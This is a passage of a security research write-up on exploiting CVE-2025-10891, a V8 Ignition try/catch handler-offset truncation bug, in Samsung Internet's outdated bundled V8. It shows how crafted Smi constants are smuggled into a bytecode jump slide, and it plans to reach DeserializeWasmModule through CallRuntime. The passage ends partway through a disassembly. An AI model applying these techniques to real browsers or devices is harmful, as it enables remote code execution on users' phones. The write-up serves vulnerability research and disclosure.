exploitation opportunity.",{"type":23,"tag":837,"props":131241,"children":131243},{"id":131242},"finding-the-v8-version",[131244],{"type":28,"value":131245},"Finding the V8 Version",{"type":23,"tag":24,"props":131247,"children":131248},{},[131249,131251,131258],{"type":28,"value":131250},"We started by pulling Samsung Internet's APK from the device over ",{"type":23,"tag":31,"props":131252,"children":131255},{"href":131253,"rel":131254},"https://developer.android.com/tools/adb",[35],[131256],{"type":28,"value":131257},"adb",{"type":28,"value":131259}," and inspecting the libraries it shipped with.",{"type":23,"tag":24,"props":131261,"children":131262},{},[131263,131265,131271,131273,131279],{"type":28,"value":131264},"After extracting the APK, we searched the ",{"type":23,"tag":94,"props":131266,"children":131268},{"className":131267},[],[131269],{"type":28,"value":131270},"lib/",{"type":28,"value":131272}," directory for ",{"type":23,"tag":94,"props":131274,"children":131276},{"className":131275},[],[131277],{"type":28,"value":131278},"v8::*",{"type":28,"value":131280}," symbols:",{"type":23,"tag":304,"props":131282,"children":131284},{"code":131283},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[131285],{"type":23,"tag":94,"props":131286,"children":131287},{"__ignoreMap":7},[131288],{"type":28,"value":131283},{"type":23,"tag":24,"props":131290,"children":131291},{},[131292,131294,131300],{"type":28,"value":131293},"Only one file matched our search: ",{"type":23,"tag":94,"props":131295,"children":131297},{"className":131296},[],[131298],{"type":28,"value":131299},"libterrace.so",{"type":28,"value":131301},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":23,"tag":24,"props":131303,"children":131304},{},[131305],{"type":23,"tag":197,"props":131306,"children":131309},{"alt":131307,"src":131308},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":23,"tag":24,"props":131311,"children":131312},{},[131313,131315,131321],{"type":28,"value":131314},"Surprisingly, this ",{"type":23,"tag":94,"props":131316,"children":131318},{"className":131317},[],[131319],{"type":28,"value":131320},"13.6.233.10",{"type":28,"value":131322}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":23,"tag":837,"props":131324,"children":131326},{"id":131325},"choosing-the-bug",[131327],{"type":28,"value":131328},"Choosing the Bug",{"type":23,"tag":24,"props":131330,"children":131331},{},[131332,131334,131340],{"type":28,"value":131333},"We were able to trigger a couple of bugs on our locally compiled ",{"type":23,"tag":94,"props":131335,"children":131337},{"className":131336},[],[131338],{"type":28,"value":131339},"d8",{"type":28,"value":131341}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":23,"tag":24,"props":131343,"children":131344},{},[131345,131347,131354],{"type":28,"value":131346},"Another one was ",{"type":23,"tag":31,"props":131348,"children":131351},{"href":131349,"rel":131350},"https://issuetracker.google.com/issues/443875388",[35],[131352],{"type":28,"value":131353},"CVE-2025-10891",{"type":28,"value":131355}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":23,"tag":61,"props":131357,"children":131359},{"id":131358},"ignition-bytecode-introduction",[131360],{"type":28,"value":131361},"Ignition Bytecode Introduction",{"type":23,"tag":24,"props":131363,"children":131364},{},[131365,131367,131374],{"type":28,"value":131366},"V8 initially compiles all JS code to a bytecode format with the ",{"type":23,"tag":31,"props":131368,"children":131371},{"href":131369,"rel":131370},"https://v8.dev/blog/ignition-interpreter",[35],[131372],{"type":28,"value":131373},"Ignition",{"type":28,"value":131375}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":23,"tag":304,"props":131377,"children":131379},{"code":131378,"language":30613,"meta":7,"className":30611,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[131380],{"type":23,"tag":94,"props":131381,"children":131382},{"__ignoreMap":7},[131383,131406,131430,131454],{"type":23,"tag":314,"props":131384,"children":131385},{"class":316,"line":317},[131386,131390,131394,131398,131402],{"type":23,"tag":314,"props":131387,"children":131388},{"style":321},[131389],{"type":28,"value":11035},{"type":23,"tag":314,"props":131391,"children":131392},{"style":360},[131393],{"type":28,"value":89088},{"type":23,"tag":314,"props":131395,"children":131396},{"style":354},[131397],{"type":28,"value":1237},{"type":23,"tag":314,"props":131399,"children":131400},{"style":1054},[131401],{"type":28,"value":3778},{"type":23,"tag":314,"props":131403,"children":131404},{"style":338},[131405],{"type":28,"value":2278},{"type":23,"tag":314,"props":131407,"children":131408},{"class":316,"line":370},[131409,131413,131417,131421,131426],{"type":23,"tag":314,"props":131410,"children":131411},{"style":321},[131412],{"type":28,"value":11035},{"type":23,"tag":314,"props":131414,"children":131415},{"style":360},[131416],{"type":28,"value":89962},{"type":23,"tag":314,"props":131418,"children":131419},{"style":354},[131420],{"type":28,"value":1237},{"type":23,"tag":314,"props":131422,"children":131423},{"style":1054},[131424],{"type":28,"value":131425}," 0x0fff",{"type":23,"tag":314,"props":131427,"children":131428},{"style":338},[131429],{"type":28,"value":2278},{"type":23,"tag":314,"props":131431,"children":131432},{"class":316,"line":380},[131433,131437,131441,131445,131450],{"type":23,"tag":314,"props":131434,"children":131435},{"style":321},[131436],{"type":28,"value":11035},{"type":23,"tag":314,"props":131438,"children":131439},{"style":360},[131440],{"type":28,"value":36694},{"type":23,"tag":314,"props":131442,"children":131443},{"style":354},[131444],{"type":28,"value":1237},{"type":23,"tag":314,"props":131446,"children":131447},{"style":1054},[131448],{"type":28,"value":131449}," 0x0fffffff",{"type":23,"tag":314,"props":131451,"children":131452},{"style":338},[131453],{"type":28,"value":2278},{"type":23,"tag":314,"props":131455,"children":131456},{"class":316,"line":1091},[131457,131461,131466,131470,131475],{"type":23,"tag":314,"props":131458,"children":131459},{"style":321},[131460],{"type":28,"value":11035},{"type":23,"tag":314,"props":131462,"children":131463},{"style":360},[131464],{"type":28,"value":131465}," d",{"type":23,"tag":314,"props":131467,"children":131468},{"style":354},[131469],{"type":28,"value":1237},{"type":23,"tag":314,"props":131471,"children":131472},{"style":1054},[131473],{"type":28,"value":131474}," 0xffffffff",{"type":23,"tag":314,"props":131476,"children":131477},{"style":338},[131478],{"type":28,"value":2278},{"type":23,"tag":24,"props":131480,"children":131481},{},[131482],{"type":28,"value":131483},"compiles to",{"type":23,"tag":304,"props":131485,"children":131487},{"code":131486}," # Load the Smi `1` into the accumulator\n 0 : 0d 01 LdaSmi [1]\n # Store it to register 0\n 2 : ce Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00 LdaConstant [0]\n# Store it to register 3\n17 : cb Star3\n18 : 0e LdaUndefined\n19 : b3 Return\n",[131488],{"type":23,"tag":94,"props":131489,"children":131490},{"__ignoreMap":7},[131491],{"type":28,"value":131486},{"type":23,"tag":24,"props":131493,"children":131494},{},[131495],{"type":28,"value":131496},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":23,"tag":837,"props":131498,"children":131500},{"id":131499},"cve-2025-10891",[131501],{"type":28,"value":131353},{"type":23,"tag":24,"props":131503,"children":131504},{},[131505,131507,131513,131515,131521],{"type":28,"value":131506},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":23,"tag":94,"props":131508,"children":131510},{"className":131509},[],[131511],{"type":28,"value":131512},"[start, end) => handler",{"type":28,"value":131514}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":23,"tag":94,"props":131516,"children":131518},{"className":131517},[],[131519],{"type":28,"value":131520},"handler",{"type":28,"value":131522}," is jumped to.",{"type":23,"tag":304,"props":131524,"children":131526},{"code":131525,"language":30613,"meta":7,"className":30611,"style":7},"try {\n throw 1;\n} catch {\n let b = 2;\n}\n",[131527],{"type":23,"tag":94,"props":131528,"children":131529},{"__ignoreMap":7},[131530,131541,131556,131571,131594],{"type":23,"tag":314,"props":131531,"children":131532},{"class":316,"line":317},[131533,131537],{"type":23,"tag":314,"props":131534,"children":131535},{"style":2284},[131536],{"type":28,"value":47581},{"type":23,"tag":314,"props":131538,"children":131539},{"style":338},[131540],{"type":28,"value":1449},{"type":23,"tag":314,"props":131542,"children":131543},{"class":316,"line":370},[131544,131548,131552],{"type":23,"tag":314,"props":131545,"children":131546},{"style":2284},[131547],{"type":28,"value":34451},{"type":23,"tag":314,"props":131549,"children":131550},{"style":1054},[131551],{"type":28,"value":3778},{"type":23,"tag":314,"props":131553,"children":131554},{"style":338},[131555],{"type":28,"value":2278},{"type":23,"tag":314,"props":131557,"children":131558},{"class":316,"line":380},[131559,131563,131567],{"type":23,"tag":314,"props":131560,"children":131561},{"style":338},[131562],{"type":28,"value":46123},{"type":23,"tag":314,"props":131564,"children":131565},{"style":2284},[131566],{"type":28,"value":47661},{"type":23,"tag":314,"props":131568,"children":131569},{"style":338},[131570],{"type":28,"value":1449},{"type":23,"tag":314,"props":131572,"children":131573},{"class":316,"line":1091},[131574,131578,131582,131586,131590],{"type":23,"tag":314,"props":131575,"children":131576},{"style":321},[131577],{"type":28,"value":7110},{"type":23,"tag":314,"props":131579,"children":131580},{"style":360},[131581],{"type":28,"value":89962},{"type":23,"tag":314,"props":131583,"children":131584},{"style":354},[131585],{"type":28,"value":1237},{"type":23,"tag":314,"props":131587,"children":131588},{"style":1054},[131589],{"type":28,"value":7189},{"type":23,"tag":314,"props":131591,"children":131592},{"style":338},[131593],{"type":28,"value":2278},{"type":23,"tag":314,"props":131595,"children":131596},{"class":316,"line":1141},[131597],{"type":23,"tag":314,"props":131598,"children":131599},{"style":338},[131600],{"type":28,"value":386},{"type":23,"tag":304,"props":131602,"children":131604},{"code":131603}," 0 : 1b ff f8 Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01 LdaSmi [1]\n 5 : b1 Throw\n # ---------------------------------\n 6 : 10 LdaTheHole\n 7 : b0 SetPendingMessage\n # Start of catch handler\n 8 : 0d 02 LdaSmi [2]\n10 : ce Star0\n11 : 0e LdaUndefined\n12 : b3 Return\nHandler Table (size = 16)\n from to hdlr (prediction, data)\n ( 3, 6) -> 6 (prediction=1, data=1)\n",[131605],{"type":23,"tag":94,"props":131606,"children":131607},{"__ignoreMap":7},[131608],{"type":28,"value":131603},{"type":23,"tag":24,"props":131610,"children":131611},{},[131612,131614,131619,131621,131626],{"type":28,"value":131613},"However, the ",{"type":23,"tag":94,"props":131615,"children":131617},{"className":131616},[],[131618],{"type":28,"value":131520},{"type":28,"value":131620}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":23,"tag":94,"props":131622,"children":131624},{"className":131623},[],[131625],{"type":28,"value":47661},{"type":28,"value":131627}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":23,"tag":24,"props":131629,"children":131630},{},[131631,131633,131639],{"type":28,"value":131632},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":23,"tag":94,"props":131634,"children":131636},{"className":131635},[],[131637],{"type":28,"value":131638},"yield*",{"type":28,"value":131640}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":23,"tag":61,"props":131642,"children":131644},{"id":131643},"exploitation",[131645],{"type":28,"value":131646},"Exploitation",{"type":23,"tag":837,"props":131648,"children":131650},{"id":131649},"constant-smuggling",[131651],{"type":28,"value":131652},"Constant Smuggling",{"type":23,"tag":24,"props":131654,"children":131655},{},[131656,131658,131665],{"type":28,"value":131657},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":23,"tag":31,"props":131659,"children":131662},{"href":131660,"rel":131661},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[35],[131663],{"type":28,"value":131664},"technique",{"type":28,"value":131666}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":23,"tag":304,"props":131668,"children":131670},{"code":131669,"language":30613,"meta":7,"className":30611,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[131671],{"type":23,"tag":94,"props":131672,"children":131673},{"__ignoreMap":7},[131674,131702,131729,131756],{"type":23,"tag":314,"props":131675,"children":131676},{"class":316,"line":317},[131677,131681,131685,131689,131693,131698],{"type":23,"tag":314,"props":131678,"children":131679},{"style":321},[131680],{"type":28,"value":11035},{"type":23,"tag":314,"props":131682,"children":131683},{"style":360},[131684],{"type":28,"value":89088},{"type":23,"tag":314,"props":131686,"children":131687},{"style":354},[131688],{"type":28,"value":1237},{"type":23,"tag":314,"props":131690,"children":131691},{"style":354},[131692],{"type":28,"value":50506},{"type":23,"tag":314,"props":131694,"children":131695},{"style":1054},[131696],{"type":28,"value":131697},"9.255963134931783e61",{"type":23,"tag":314,"props":131699,"children":131700},{"style":338},[131701],{"type":28,"value":2278},{"type":23,"tag":314,"props":131703,"children":131704},{"class":316,"line":370},[131705,131709,131713,131717,131721,131725],{"type":23,"tag":314,"props":131706,"children":131707},{"style":321},[131708],{"type":28,"value":11035},{"type":23,"tag":314,"props":131710,"children":131711},{"style":360},[131712],{"type":28,"value":89962},{"type":23,"tag":314,"props":131714,"children":131715},{"style":354},[131716],{"type":28,"value":1237},{"type":23,"tag":314,"props":131718,"children":131719},{"style":354},[131720],{"type":28,"value":50506},{"type":23,"tag":314,"props":131722,"children":131723},{"style":1054},[131724],{"type":28,"value":131697},{"type":23,"tag":314,"props":131726,"children":131727},{"style":338},[131728],{"type":28,"value":2278},{"type":23,"tag":314,"props":131730,"children":131731},{"class":316,"line":380},[131732,131736,131740,131744,131748,131752],{"type":23,"tag":314,"props":131733,"children":131734},{"style":321},[131735],{"type":28,"value":11035},{"type":23,"tag":314,"props":131737,"children":131738},{"style":360},[131739],{"type":28,"value":36694},{"type":23,"tag":314,"props":131741,"children":131742},{"style":354},[131743],{"type":28,"value":1237},{"type":23,"tag":314,"props":131745,"children":131746},{"style":354},[131747],{"type":28,"value":50506},{"type":23,"tag":314,"props":131749,"children":131750},{"style":1054},[131751],{"type":28,"value":131697},{"type":23,"tag":314,"props":131753,"children":131754},{"style":338},[131755],{"type":28,"value":2278},{"type":23,"tag":314,"props":131757,"children":131758},{"class":316,"line":1091},[131759,131763,131767,131771,131775,131779],{"type":23,"tag":314,"props":131760,"children":131761},{"style":321},[131762],{"type":28,"value":11035},{"type":23,"tag":314,"props":131764,"children":131765},{"style":360},[131766],{"type":28,"value":131465},{"type":23,"tag":314,"props":131768,"children":131769},{"style":354},[131770],{"type":28,"value":1237},{"type":23,"tag":314,"props":131772,"children":131773},{"style":354},[131774],{"type":28,"value":50506},{"type":23,"tag":314,"props":131776,"children":131777},{"style":1054},[131778],{"type":28,"value":131697},{"type":23,"tag":314,"props":131780,"children":131781},{"style":338},[131782],{"type":28,"value":2278},{"type":23,"tag":24,"props":131784,"children":131785},{},[131786],{"type":28,"value":131787},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":23,"tag":24,"props":131789,"children":131790},{},[131791],{"type":28,"value":131792},"We'll use a similar principle here, although much more limited. With",{"type":23,"tag":304,"props":131794,"children":131796},{"code":131795},"let a = 0x0693bebe;\n",[131797],{"type":23,"tag":94,"props":131798,"children":131799},{"__ignoreMap":7},[131800],{"type":28,"value":131795},{"type":23,"tag":24,"props":131802,"children":131803},{},[131804],{"type":28,"value":131805},"We will compile the bytecode:",{"type":23,"tag":304,"props":131807,"children":131809},{"code":131808},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[131810],{"type":23,"tag":94,"props":131811,"children":131812},{"__ignoreMap":7},[131813],{"type":28,"value":131808},{"type":23,"tag":24,"props":131815,"children":131816},{},[131817,131819,131825,131827,131833,131834,131840],{"type":28,"value":131818},"We can then jump to the 3rd byte (",{"type":23,"tag":94,"props":131820,"children":131822},{"className":131821},[],[131823],{"type":28,"value":131824},"0xbe",{"type":28,"value":131826},"), and gain 2 controlled bytes of execution, followed by ",{"type":23,"tag":94,"props":131828,"children":131830},{"className":131829},[],[131831],{"type":28,"value":131832},"0x93 0x02 - 0xf",{"type":28,"value":2324},{"type":23,"tag":94,"props":131835,"children":131837},{"className":131836},[],[131838],{"type":28,"value":131839},"Jump +[2-15]",{"type":28,"value":131841},") to jump into the next constant.",{"type":23,"tag":24,"props":131843,"children":131844},{},[131845,131847,131853,131855,131861,131863,131869],{"type":28,"value":131846},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":23,"tag":94,"props":131848,"children":131850},{"className":131849},[],[131851],{"type":28,"value":131852},"StarX",{"type":28,"value":131854}," instructions, registers 16-121 resulted in two bytes ",{"type":23,"tag":94,"props":131856,"children":131858},{"className":131857},[],[131859],{"type":28,"value":131860},"Star rX",{"type":28,"value":131862}," instructions, and the next batch resulted in 4 byte ",{"type":23,"tag":94,"props":131864,"children":131866},{"className":131865},[],[131867],{"type":28,"value":131868},"Star.ExtraWide rX",{"type":28,"value":131870}," instructions.",{"type":23,"tag":24,"props":131872,"children":131873},{},[131874,131876,131882],{"type":28,"value":131875},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":23,"tag":94,"props":131877,"children":131879},{"className":131878},[],[131880],{"type":28,"value":131881},"0x8931111",{"type":28,"value":3746},{"type":23,"tag":304,"props":131884,"children":131886},{"code":131885,"language":30613,"meta":7,"className":30611,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[131887],{"type":23,"tag":94,"props":131888,"children":131889},{"__ignoreMap":7},[131890,131915,131939,131963,131987,132011,132035],{"type":23,"tag":314,"props":131891,"children":131892},{"class":316,"line":317},[131893,131897,131902,131906,131911],{"type":23,"tag":314,"props":131894,"children":131895},{"style":321},[131896],{"type":28,"value":11035},{"type":23,"tag":314,"props":131898,"children":131899},{"style":360},[131900],{"type":28,"value":131901}," a206",{"type":23,"tag":314,"props":131903,"children":131904},{"style":354},[131905],{"type":28,"value":1237},{"type":23,"tag":314,"props":131907,"children":131908},{"style":1054},[131909],{"type":28,"value":131910}," 0x8931111",{"type":23,"tag":314,"props":131912,"children":131913},{"style":338},[131914],{"type":28,"value":2278},{"type":23,"tag":314,"props":131916,"children":131917},{"class":316,"line":370},[131918,131922,131927,131931,131935],{"type":23,"tag":314,"props":131919,"children":131920},{"style":321},[131921],{"type":28,"value":11035},{"type":23,"tag":314,"props":131923,"children":131924},{"style":360},[131925],{"type":28,"value":131926}," a207",{"type":23,"tag":314,"props":131928,"children":131929},{"style":354},[131930],{"type":28,"value":1237},{"type":23,"tag":314,"props":131932,"children":131933},{"style":1054},[131934],{"type":28,"value":131910},{"type":23,"tag":314,"props":131936,"children":131937},{"style":338},[131938],{"type":28,"value":2278},{"type":23,"tag":314,"props":131940,"children":131941},{"class":316,"line":380},[131942,131946,131951,131955,131959],{"type":23,"tag":314,"props":131943,"children":131944},{"style":321},[131945],{"type":28,"value":11035},{"type":23,"tag":314,"props":131947,"children":131948},{"style":360},[131949],{"type":28,"value":131950}," a208",{"type":23,"tag":314,"props":131952,"children":131953},{"style":354},[131954],{"type":28,"value":1237},{"type":23,"tag":314,"props":131956,"children":131957},{"style":1054},[131958],{"type":28,"value":131910},{"type":23,"tag":314,"props":131960,"children":131961},{"style":338},[131962],{"type":28,"value":2278},{"type":23,"tag":314,"props":131964,"children":131965},{"class":316,"line":1091},[131966,131970,131975,131979,131983],{"type":23,"tag":314,"props":131967,"children":131968},{"style":321},[131969],{"type":28,"value":11035},{"type":23,"tag":314,"props":131971,"children":131972},{"style":360},[131973],{"type":28,"value":131974}," a209",{"type":23,"tag":314,"props":131976,"children":131977},{"style":354},[131978],{"type":28,"value":1237},{"type":23,"tag":314,"props":131980,"children":131981},{"style":1054},[131982],{"type":28,"value":131910},{"type":23,"tag":314,"props":131984,"children":131985},{"style":338},[131986],{"type":28,"value":2278},{"type":23,"tag":314,"props":131988,"children":131989},{"class":316,"line":1141},[131990,131994,131999,132003,132007],{"type":23,"tag":314,"props":131991,"children":131992},{"style":321},[131993],{"type":28,"value":11035},{"type":23,"tag":314,"props":131995,"children":131996},{"style":360},[131997],{"type":28,"value":131998}," a210",{"type":23,"tag":314,"props":132000,"children":132001},{"style":354},[132002],{"type":28,"value":1237},{"type":23,"tag":314,"props":132004,"children":132005},{"style":1054},[132006],{"type":28,"value":131910},{"type":23,"tag":314,"props":132008,"children":132009},{"style":338},[132010],{"type":28,"value":2278},{"type":23,"tag":314,"props":132012,"children":132013},{"class":316,"line":1173},[132014,132018,132023,132027,132031],{"type":23,"tag":314,"props":132015,"children":132016},{"style":321},[132017],{"type":28,"value":11035},{"type":23,"tag":314,"props":132019,"children":132020},{"style":360},[132021],{"type":28,"value":132022}," a211",{"type":23,"tag":314,"props":132024,"children":132025},{"style":354},[132026],{"type":28,"value":1237},{"type":23,"tag":314,"props":132028,"children":132029},{"style":1054},[132030],{"type":28,"value":131910},{"type":23,"tag":314,"props":132032,"children":132033},{"style":338},[132034],{"type":28,"value":2278},{"type":23,"tag":314,"props":132036,"children":132037},{"class":316,"line":1208},[132038,132042,132047,132051,132055],{"type":23,"tag":314,"props":132039,"children":132040},{"style":321},[132041],{"type":28,"value":11035},{"type":23,"tag":314,"props":132043,"children":132044},{"style":360},[132045],{"type":28,"value":132046}," a212",{"type":23,"tag":314,"props":132048,"children":132049},{"style":354},[132050],{"type":28,"value":1237},{"type":23,"tag":314,"props":132052,"children":132053},{"style":1054},[132054],{"type":28,"value":131910},{"type":23,"tag":314,"props":132056,"children":132057},{"style":338},[132058],{"type":28,"value":2278},{"type":23,"tag":24,"props":132060,"children":132061},{},[132062],{"type":28,"value":132063},"Those instructions result in:",{"type":23,"tag":304,"props":132065,"children":132067},{"code":132066},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8; >------------+\n04: Star rX + LdaSmi ... |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[132068],{"type":23,"tag":94,"props":132069,"children":132070},{"__ignoreMap":7},[132071],{"type":28,"value":132066},{"type":23,"tag":24,"props":132073,"children":132074},{},[132075,132077,132083,132085,132089],{"type":28,"value":132076},"(The offset of ",{"type":23,"tag":94,"props":132078,"children":132080},{"className":132079},[],[132081],{"type":28,"value":132082},"Jump",{"type":28,"value":132084}," instructions is added to the ",{"type":23,"tag":186,"props":132086,"children":132087},{},[132088],{"type":28,"value":70344},{"type":28,"value":132090}," of the instruction.)",{"type":23,"tag":24,"props":132092,"children":132093},{},[132094,132096,132102],{"type":28,"value":132095},"Now, 3 out of the 6 bytes in a ",{"type":23,"tag":94,"props":132097,"children":132099},{"className":132098},[],[132100],{"type":28,"value":132101},"LdaSmi.ExtraWide",{"type":28,"value":132103}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":23,"tag":837,"props":132105,"children":132107},{"id":132106},"exploit-goal",[132108],{"type":28,"value":132109},"Exploit Goal",{"type":23,"tag":24,"props":132111,"children":132112},{},[132113,132115,132121,132122,132128],{"type":28,"value":132114},"Initially we considered using ",{"type":23,"tag":94,"props":132116,"children":132118},{"className":132117},[],[132119],{"type":28,"value":132120},"Star",{"type":28,"value":3835},{"type":23,"tag":94,"props":132123,"children":132125},{"className":132124},[],[132126],{"type":28,"value":132127},"Ldar",{"type":28,"value":132129}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":23,"tag":24,"props":132131,"children":132132},{},[132133,132135,132142],{"type":28,"value":132134},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":23,"tag":31,"props":132136,"children":132139},{"href":132137,"rel":132138},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[35],[132140],{"type":28,"value":132141},"stack pivot and ROP",{"type":28,"value":132143},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":23,"tag":24,"props":132145,"children":132146},{},[132147],{"type":28,"value":132148},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":23,"tag":24,"props":132150,"children":132151},{},[132152],{"type":28,"value":132153},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":23,"tag":24,"props":132155,"children":132156},{},[132157,132159,132165,132167,132173,132175,132181],{"type":28,"value":132158},"At this point, we identified an interesting opcode: ",{"type":23,"tag":94,"props":132160,"children":132162},{"className":132161},[],[132163],{"type":28,"value":132164},"CallRuntime",{"type":28,"value":132166},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":23,"tag":94,"props":132168,"children":132170},{"className":132169},[],[132171],{"type":28,"value":132172},"--allow-natives-syntax",{"type":28,"value":132174}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":23,"tag":94,"props":132176,"children":132178},{"className":132177},[],[132179],{"type":28,"value":132180},"DeserializeWasmModule",{"type":28,"value":282},{"type":23,"tag":24,"props":132183,"children":132184},{},[132185,132187,132194,132195,132200,132201,132207,132209,132216],{"type":28,"value":132186},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":23,"tag":31,"props":132188,"children":132191},{"href":132189,"rel":132190},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[35],[132192],{"type":28,"value":132193},"JIT-compiled functions",{"type":28,"value":17770},{"type":23,"tag":94,"props":132196,"children":132198},{"className":132197},[],[132199],{"type":28,"value":132180},{"type":28,"value":3835},{"type":23,"tag":94,"props":132202,"children":132204},{"className":132203},[],[132205],{"type":28,"value":132206},"SerializeWasmModule",{"type":28,"value":132208}," themselves are only used from test functions, and indeed have been ",{"type":23,"tag":31,"props":132210,"children":132213},{"href":132211,"rel":132212},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[35],[132214],{"type":28,"value":132215},"removed",{"type":28,"value":132217}," from recent production V8 builds due to how abusable this functionality is.",{"type":23,"tag":24,"props":132219,"children":132220},{},[132221,132223,132229,132231,132237,132239,132244,132246,132252,132254,132259,132260,132265,132266,132271,132273,132279,132281,132285],{"type":28,"value":132222},"However, calling this opcode represented a significant challenge:\n",{"type":23,"tag":94,"props":132224,"children":132226},{"className":132225},[],[132227],{"type":28,"value":132228},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":28,"value":132230},"\nWhere ",{"type":23,"tag":94,"props":132232,"children":132234},{"className":132233},[],[132235],{"type":28,"value":132236},"func-id",{"type":28,"value":132238}," is a 2-byte function ID, ",{"type":23,"tag":94,"props":132240,"children":132242},{"className":132241},[],[132243],{"type":28,"value":1991},{"type":28,"value":132245}," is the index of the last register passed and ",{"type":23,"tag":94,"props":132247,"children":132249},{"className":132248},[],[132250],{"type":28,"value":132251},"argc",{"type":28,"value":132253}," is the number of arguments passed (e.g. passing ",{"type":23,"tag":94,"props":132255,"children":132257},{"className":132256},[],[132258],{"type":28,"value":43632},{"type":28,"value":778},{"type":23,"tag":94,"props":132261,"children":132263},{"className":132262},[],[132264],{"type":28,"value":43775},{"type":28,"value":557},{"type":23,"tag":94,"props":132267,"children":132269},{"className":132268},[],[132270],{"type":28,"value":43758},{"type":28,"value":132272}," would be encoded as ",{"type":23,"tag":94,"props":132274,"children":132276},{"className":132275},[],[132277],{"type":28,"value":132278},"\u003Cr2> \u003C3>",{"type":28,"value":132280},").\nThis requires ",{"type":23,"tag":186,"props":132282,"children":132283},{},[132284],{"type":28,"value":1317},{"type":28,"value":132286}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":23,"tag":837,"props":132288,"children":132290},{"id":132289},"better-bytecode-control",[132291],{"type":28,"value":132292},"Better Bytecode Control",{"type":23,"tag":24,"props":132294,"children":132295},{},[132296,132298,132305,132307,132313],{"type":28,"value":132297},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":23,"tag":31,"props":132299,"children":132302},{"href":132300,"rel":132301},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[35],[132303],{"type":28,"value":132304},"feedback vector slot",{"type":28,"value":132306},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":23,"tag":94,"props":132308,"children":132310},{"className":132309},[],[132311],{"type":28,"value":132312},"AddSmi",{"type":28,"value":132314}," instruction, it represents the number of operations performed on the target value so far.",{"type":23,"tag":24,"props":132316,"children":132317},{},[132318],{"type":28,"value":132319},"For example, we can look at the below Ignition disassembly:",{"type":23,"tag":304,"props":132321,"children":132323},{"code":132322},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide 